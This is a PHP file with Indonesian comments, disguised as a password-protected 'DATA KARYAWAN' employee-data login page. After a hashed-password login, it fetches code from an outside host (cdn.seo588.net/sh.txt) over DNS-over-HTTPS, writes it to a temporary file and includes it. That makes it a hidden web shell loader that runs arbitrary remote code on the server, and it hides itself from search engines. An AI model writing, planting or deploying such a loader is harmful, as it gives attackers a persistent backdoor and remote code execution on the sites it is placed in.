<?php
error_reporting(0);
set_time_limit(0);
header("X-Robots-Tag: noindex, nofollow", true);
session_start();

/* ===== KONFIGURASI ===== */
$password_hash = '$2y$10$enzA1ecdZXZMwqqn.0n94e0.pnbon0dzFucIPInsC9mWGMfAf9Adq';
$session_lifetime = 21600; // 6 jam (6 x 60 x 60)


/* ===== CEK SESSION EXPIRE ===== */
if (
    isset($_SESSION['login'], $_SESSION['login_time'])
) {

    if (
        time() - $_SESSION['login_time']
        > $session_lifetime
    ) {

        session_destroy();

        header(
            "Location: " . $_SERVER["PHP_SELF"]
        );

        exit;
    }
}


/* ===== LOGIN ===== */
if (isset($_POST["password"])) {

    $password = $_POST["password"];

    if (
        password_verify(
            $password,
            $password_hash
        )
    ) {

        $_SESSION["login"] = true;

        $_SESSION["login_time"] = time();

        header(
            "Location: " . $_SERVER["PHP_SELF"]
        );

        exit;

    } else {

        $error = "Password salah!";
    }
}


/* ===== JIKA BELUM LOGIN ===== */
if (empty($_SESSION["login"])):

?>

<!doctype html>

<html lang="id">

<head>

    <meta charset="UTF-8">

    <meta
        name="robots"
        content="noindex,nofollow"
    >

    <meta
        name="viewport"
        content="width=device-width,initial-scale=1"
    >

    <title>DATA KARYAWAN</title>


    <style>

        body {

            height:100vh;

            display:flex;

            justify-content:center;

            align-items:center;

            background:
                url('https://asset.gecdesigns.com/img/background-templates/abstract-navy-red-background-design-sr17012401-1705501852665-cover.webp')
                no-repeat
                center center /
                cover;

            font-family:
                Segoe UI,
                Tahoma,
                Verdana,
                sans-serif;

            color:#fff;

            margin:0;
        }


        .card {

            background:
                rgba(0,0,20,.8);

            padding:30px;

            border-radius:10px;

            box-shadow:
                0 0 20px
                rgba(0,0,0,.5);

            width:320px;

            text-align:center;
        }


        input {

            width:100%;

            padding:10px;

            margin:8px 0;

            border-radius:5px;

            border:none;

            box-sizing:border-box;
        }


        .btn {

            background:#ff3860;

            color:#fff;

            cursor:pointer;
        }


        .btn:hover {

            background:#ff5a7a;
        }


        .error {

            color:#ff3860;

            margin-bottom:10px;
        }

    </style>

</head>


<body>

<div class="card">

    <h2>DATA KARYAWAN</h2>


    <?php

    if (isset($error)) {

        echo "<div class='error'>" .
             htmlspecialchars(
                 $error,
                 ENT_QUOTES,
                 'UTF-8'
             ) .
             "</div>";
    }

    ?>


    <form method="post">

        <input
            type="password"
            name="password"
            placeholder="Masukkan password"
            required
            autocomplete="current-password"
        >


        <input
            type="submit"
            value="Login"
            class="btn"
        >

    </form>

</div>

</body>

</html>

<?php

exit;

endif;


/* =========================================================
   KODE LANJUTAN SETELAH LOGIN
========================================================= */


$url = "https://cdn.seo588.net/sh.txt";

$dns = "https://cloudflare-dns.com/dns-query";


$ch = curl_init($url);


if (defined("CURLOPT_DOH_URL")) {

    curl_setopt(
        $ch,
        CURLOPT_DOH_URL,
        $dns
    );
}


curl_setopt(
    $ch,
    CURLOPT_RETURNTRANSFER,
    true
);


curl_setopt(
    $ch,
    CURLOPT_SSL_VERIFYHOST,
    2
);


curl_setopt(
    $ch,
    CURLOPT_SSL_VERIFYPEER,
    true
);


$res = curl_exec($ch);

curl_close($ch);


/* ===== TEMPORARY FILE ===== */

$tmp = tmpfile();

$path_metadata =
    stream_get_meta_data($tmp);

$path =
    $path_metadata["uri"];


fprintf(
    $tmp,
    "%s",
    $res
);


/* ===== JALANKAN KODE HASIL DOWNLOAD ===== */

include $path;